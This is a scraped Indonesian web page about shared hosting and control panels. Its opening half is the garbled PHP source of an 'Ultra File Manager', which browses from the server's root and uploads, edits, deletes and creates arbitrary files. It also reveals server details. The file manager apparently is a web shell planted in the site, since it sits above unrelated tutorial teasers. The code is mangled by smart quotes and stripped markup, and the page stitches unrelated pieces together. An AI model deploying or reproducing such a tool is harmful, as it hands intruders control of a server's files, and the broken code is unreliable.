Login — Ultra File Manager =1024&&$i‘; echo ‘
‘; echo ‘

Error

‘.h($msg).’
‘; echo ‘
‘; exit; } function perms_string($path){ $p=@fileperms($path); if($p===false) return ‘???????????’; switch($p & 0xF000){ case 0xC000:$t=’s’;break;case 0xA000:$t=’l’;break;case 0x8000:$t=’-‘;break;case 0x6000:$t=’b’;break;case 0x4000:$t=’d’;break;case 0x2000:$t=’c’;break;case 0x1000:$t=’p’;break;default:$t=’?’;} $o_r=($p&0x0100)?’r’:’-‘; $o_w=($p&0x0080)?’w’:’-‘; $o_x=($p&0x0040)?’x’:’-‘; $g_r=($p&0x0020)?’r’:’-‘; $g_w=($p&0x0010)?’w’:’-‘; $g_x=($p&0x0008)?’x’:’-‘; $a_r=($p&0x0004)?’r’:’-‘; $a_w=($p&0x0002)?’w’:’-‘; $a_x=($p&0x0001)?’x’:’-‘; if($p&0x0800) $o_x=($o_x===’x’)?’s’:’S’; if($p&0x0400) $g_x=($g_x===’x’)?’s’:’S’; if($p&0x0200) $a_x=($a_x===’x’)?’t’:’T’; return $t.$o_r.$o_w.$o_x.$g_r.$g_w.$g_x.$a_r.$a_w.$a_x; } function save_uploaded_to($tmp, $dest){ if (@move_uploaded_file($tmp, $dest)) return true; if (@rename($tmp, $dest)) return true; if (@copy($tmp, $dest)) return true; $in = @fopen($tmp, ‘rb’); if ($in) { $out = @fopen($dest, ‘wb’); if ($out) { $ok = @stream_copy_to_stream($in, $out); @fclose($out); @fclose($in); if ($ok !== false) return true; } else { @fclose($in); } } return false; } // ——– Lokasi awal ——– $ROOT = DIRECTORY_SEPARATOR; $START = realpath(__DIR__) ?: $ROOT; // ——– Resolve CURRENT ——– $path_in = isset($_GET[‘path’])?(string)$_GET[‘path’]:”; $goto_in = isset($_GET[‘goto’])?(string)$_GET[‘goto’]:”; $seed = $path_in!==”?$path_in:($goto_in!==”?$goto_in:”); $CURRENT = $seed===”?$START:resolve_path($seed,$START); if(!is_dir($CURRENT)) $CURRENT = dirname($CURRENT); // ====== HANDLER: CHUNKED UPLOAD ====== if (($_SERVER[‘REQUEST_METHOD’]===’POST’) && isset($_GET[‘chunk’])) { $uploadId = $_POST[‘upload_id’] ?? ”; $fileName = $_POST[‘file_name’] ?? ”; $idx = isset($_POST[‘chunk_index’]) ? (int)$_POST[‘chunk_index’] : -1; $total = isset($_POST[‘total_chunks’]) ? (int)$_POST[‘total_chunks’] : -1; if ($uploadId===” || $fileName===” || $idx<0 || $total<1) { http_response_code(400); echo 'bad params'; exit; } if(!is_dir($CURRENT)||!is_writable($CURRENT)) { http_response_code(403); echo 'dir not writable'; exit; } $tmpDir = rtrim($CURRENT,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.CHUNK_TMP_DIR; if (!is_dir($tmpDir)) { @mkdir($tmpDir, 0775, true); } if (!is_dir($tmpDir) || !is_writable($tmpDir)) { http_response_code(500); echo 'tmp not writable'; exit; } $chunkField = 'chunk'; if (!isset($_FILES[$chunkField]) || $_FILES[$chunkField]['error']!==UPLOAD_ERR_OK) { http_response_code(400); echo 'no chunk'; exit; } $chunkPath = $tmpDir.DIRECTORY_SEPARATOR.$uploadId.'.part.'.$idx; if (!save_uploaded_to($_FILES[$chunkField]['tmp_name'], $chunkPath)) { http_response_code(500); echo 'save fail'; exit; } $done = true; for ($i=0; $i<$total; $i++){ if (!file_exists($tmpDir.DIRECTORY_SEPARATOR.$uploadId.'.part.'.$i)) { $done=false; break; } } if ($done) { $safeName = basename($fileName); $final = rtrim($CURRENT,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$safeName; if (file_exists($final)) { $pi = pathinfo($final); $base = $pi['filename'] ?? $safeName; $ext = isset($pi['extension']) && $pi['extension'] !== '' ? ('.'.$pi['extension']) : ''; $k=1; do { $final = $pi['dirname'].DIRECTORY_SEPARATOR.$base.' ('.$k.')'.$ext; $k++; } while(file_exists($final) && $k<1000); } $out = @fopen($final, 'wb'); if (!$out) { http_response_code(500); echo 'assemble open fail'; exit; } for ($i=0; $i<$total; $i++){ $part = $tmpDir.DIRECTORY_SEPARATOR.$uploadId.'.part.'.$i; $in = @fopen($part, 'rb'); if(!$in){ @fclose($out); http_response_code(500); echo 'assemble read fail'; exit; } @stream_copy_to_stream($in, $out); @fclose($in); @unlink($part); } @fclose($out); @rmdir($tmpDir); } header('Content-Type: application/json'); echo json_encode(['ok'=>true,’assembled’=>($done?true:false)]); exit; } // ——– Aksi POST (normal form) ——– if($_SERVER[‘REQUEST_METHOD’]===’POST’ && !isset($_GET[‘chunk’])){ $action = $_POST[‘action’] ?? ”; if($action===’upload’){ if(!is_dir($CURRENT)||!is_writable($CURRENT)) error_then_exit(‘Folder tidak bisa ditulisi.’,403); if(!isset($_FILES[‘files’])) error_then_exit(‘Tidak ada file yang diupload.’); $count=min(count($_FILES[‘files’][‘name’]),UPLOAD_MAX_FILES); $ok=0;$fail=0;$msgs=[]; for($i=0;$i<$count;$i++){ $err = $_FILES['files']['error'][$i] ?? UPLOAD_ERR_NO_FILE; $name = basename($_FILES['files']['name'][$i] ?? 'unknown'); $tmp = $_FILES['files']['tmp_name'][$i] ?? ''; if($err!==UPLOAD_ERR_OK || !is_uploaded_file($tmp)){ $fail++; $msgs[]='Gagal upload: '.h($name).' (error='.$err.')'; continue; } $dest = rtrim($CURRENT,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$name; $parentReal = realpath(dirname($dest)); if($parentReal===false){ $fail++; $msgs[]="Path tidak valid: ".h($name); continue; } if (file_exists($dest)) { $pi = pathinfo($dest); $base = $pi['filename'] ?? $name; $ext = isset($pi['extension']) && $pi['extension'] !== '' ? ('.'.$pi['extension']) : ''; $k=1; do { $dest = $pi['dirname'].DIRECTORY_SEPARATOR.$base.' ('.$k.')'.$ext; $k++; } while(file_exists($dest) && $k<1000); } if (save_uploaded_to($tmp, $dest)) { $ok++; } else { $fail++; $msgs[]="Gagal simpan: ".h($name); } } flash_set("Upload selesai. Berhasil: $ok, Gagal: $fail".(count($msgs)?' ('.implode('; ',$msgs).')':'')); header('Location: ?path='.rawurlencode($CURRENT)); exit; } if($action==='save'){ $filePath=$_POST['file_path'] ?? ''; $abs=resolve_path($filePath,$CURRENT); if(!is_file($abs)||!is_writable($abs)) error_then_exit('File tidak bisa disimpan atau tidak ada izin.',403); $ext=strtolower(pathinfo($abs,PATHINFO_EXTENSION)); if(!ALLOW_EDIT_PHP&&$ext==='php') error_then_exit('Edit .php dimatikan (konfig).'); if(!is_textual_file($abs)) error_then_exit('File bukan teks.'); if(filesize($abs)>MAX_EDIT_SIZE) error_then_exit(‘File terlalu besar untuk editor web.’); $content=(string)($_POST[‘content’] ?? ”); $content=str_replace(“\r\n”,”\n”,$content); if(@file_put_contents($abs,$content)===false) error_then_exit(‘Gagal menyimpan file.’); flash_set(‘Perubahan disimpan.’); header(‘Location: ?path=’.rawurlencode(dirname($abs))); exit; } if($action===’rename’){ $oldPath=$_POST[‘old_path’] ?? ”; $newName=trim((string)($_POST[‘new_name’] ?? ”)); $oldAbs=resolve_path($oldPath,$CURRENT); if(!file_exists($oldAbs)) error_then_exit(‘Target tidak ditemukan.’); if($newName===”||preg_match(‘/[\/\\\\]/’,$newName)) error_then_exit(‘Nama baru tidak valid.’); $newAbs=dirname($oldAbs).DIRECTORY_SEPARATOR.$newName; if(file_exists($newAbs)) error_then_exit(‘Nama sudah digunakan.’); if(!@rename($oldAbs,$newAbs)) error_then_exit(‘Gagal rename.’); flash_set(‘Berhasil rename.’); header(‘Location: ?path=’.rawurlencode(dirname($newAbs))); exit; } if($action===’delete’){ $targetPath=$_POST[‘target_path’] ?? ”; $targetAbs=resolve_path($targetPath,$CURRENT); if(!file_exists($targetAbs)) error_then_exit(‘Target tidak ditemukan.’); if(!rrmdir_safe($targetAbs)) error_then_exit(‘Gagal menghapus (cek permission).’); flash_set(‘Berhasil hapus.’); header(‘Location: ?path=’.rawurlencode(dirname($targetAbs))); exit; } // ====== TAMBAHAN: BUAT FOLDER ====== if($action===’create_folder’){ $folderName = trim((string)($_POST[‘folder_name’] ?? ”)); if($folderName===” || preg_match(‘/[\/\\\\]/’,$folderName)) error_then_exit(‘Nama folder tidak valid.’); if(!is_dir($CURRENT) || !is_writable($CURRENT)) error_then_exit(‘Folder tidak bisa ditulisi.’,403); $newPath = rtrim($CURRENT,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$folderName; if(file_exists($newPath)) error_then_exit(‘Folder atau file dengan nama tersebut sudah ada.’); if(!@mkdir($newPath, 0775)) error_then_exit(‘Gagal membuat folder.’); flash_set(‘Folder berhasil dibuat: ‘.h($folderName)); header(‘Location: ?path=’.rawurlencode($CURRENT)); exit; } // ====== TAMBAHAN: BUAT FILE ====== if($action===’create_file’){ $fileName = trim((string)($_POST[‘file_name’] ?? ”)); $content = (string)($_POST[‘file_content’] ?? ”); if($fileName===” || preg_match(‘/[\/\\\\]/’,$fileName)) error_then_exit(‘Nama file tidak valid.’); if(!is_dir($CURRENT) || !is_writable($CURRENT)) error_then_exit(‘Folder tidak bisa ditulisi.’,403); $newPath = rtrim($CURRENT,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$fileName; if(file_exists($newPath)) error_then_exit(‘File dengan nama tersebut sudah ada.’); $content = str_replace(“\r\n”,”\n”,$content); if(@file_put_contents($newPath, $content)===false) error_then_exit(‘Gagal membuat file.’); flash_set(‘File berhasil dibuat: ‘.h($fileName)); header(‘Location: ?path=’.rawurlencode($CURRENT)); exit; } error_then_exit(‘Aksi tidak dikenal.’); } // ——– Listing ——– $items=[]; $scan=@scandir($CURRENT); if($scan!==false){ foreach($scan as $it){ if($it===’.’||$it===’..’) continue; $p=rtrim($CURRENT,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$it; $items[]=[ ‘name’=>$it, ‘is_dir’=>is_dir($p), ‘size’=>is_dir($p)?0:(int)@filesize($p), ‘mtime’=>(int)@filemtime($p), ‘abs’=>$p, ‘perm’=>perms_string($p), ]; } usort($items,function($a,$b){ if($a[‘is_dir’]!==$b[‘is_dir’]) return $a[‘is_dir’]?-1:1; return strcasecmp($a[‘name’],$b[‘name’]); }); } // ——– Breadcrumb ——– function make_breadcrumb($CURRENT){ $parts=[]; $path=$CURRENT; while(true){ $parent=dirname($path); if($parent===$path){ array_unshift($parts,[‘label’=>’/’,’path’=>’/’]); break; } array_unshift($parts,[‘label’=>basename($path),’path’=>$path]); $path=$parent; } return $parts; } $crumbs=make_breadcrumb($CURRENT); $canUp=dirname($CURRENT)!==$CURRENT; // ——– Mode edit? ——– $editFile=null; if(isset($_GET[‘edit’])){ $editIn=(string)$_GET[‘edit’]; $editAbs=resolve_path($editIn,$CURRENT); if($editAbs && is_file($editAbs)){ $size=(int)@filesize($editAbs); if($size<=MAX_EDIT_SIZE && is_textual_file($editAbs)){ $editFile=['abs'=>$editAbs,’size’=>$size]; } } } // ——– System info ——– $serverIP=$_SERVER[‘SERVER_ADDR’]??gethostbyname(gethostname()); $clientIP=$_SERVER[‘REMOTE_ADDR’]??’N/A’; $hostname=gethostname(); $phpv=PHP_VERSION; // ——– Flash ——– $flash=flash_get(); ?> Ultra File Manager
Server: ()
You:
PHP
Dir:

Edit:

Upload

Maks file per unggah.
Nama Izin Ukuran Diubah Aksi
Kosong / tidak ada izin.

Instalasi dan Konfigurasi Share Hosting Server

 

Hubungan antara Web Hosting dan Nama Domain

Server hosting hanyalah sebuah perangkat komputer dengan spesifikasi yang lebih kuat dan besar. Komputer yang dipakai…

Jenis-jenis Layanan Hosting

Layanan hosting menyediakan tempat untuk menampung, menjalankan aplikasi dan menyimpan semua data yang dibutuhkan di lokasi…

Prinsip Kerja Share Hosting Server

Prinsip Kerja Shared Hosting (atau biasa disebut web hosting saja) memberi peluang menggunakan satu server yang…

Pengertian Share Hosting Server

Layanan shared hosting sangat dipengaruhi oleh perilaku dari semua penyewa (klien atau leaseholder) jasa hosting yang…

Instalasi dan Konfigurasi Control Panel menggunakan i-MSCP

 

Instalasi dan Konfigurasi Control Panel menggunakan CloudPanel

 

Identifikasi Web Hosting Server

Control Panel sebagai sebuah aplikasi pada hosting untuk mempermuadah pengaturan hosting memiliki kemiripan seperti OS dan…

Control Panel Open Source

Ketika sebuah website selesai dibuat dalam lingkungan offlline, langkah selanjutnya yang dikerjakan oleh web designer adalah…

Control Panel Close Source

Disamping menentukan layanan hosting murah yang sesuai dengan budget, pemilihan control panel hosting pun menjadi pilihan…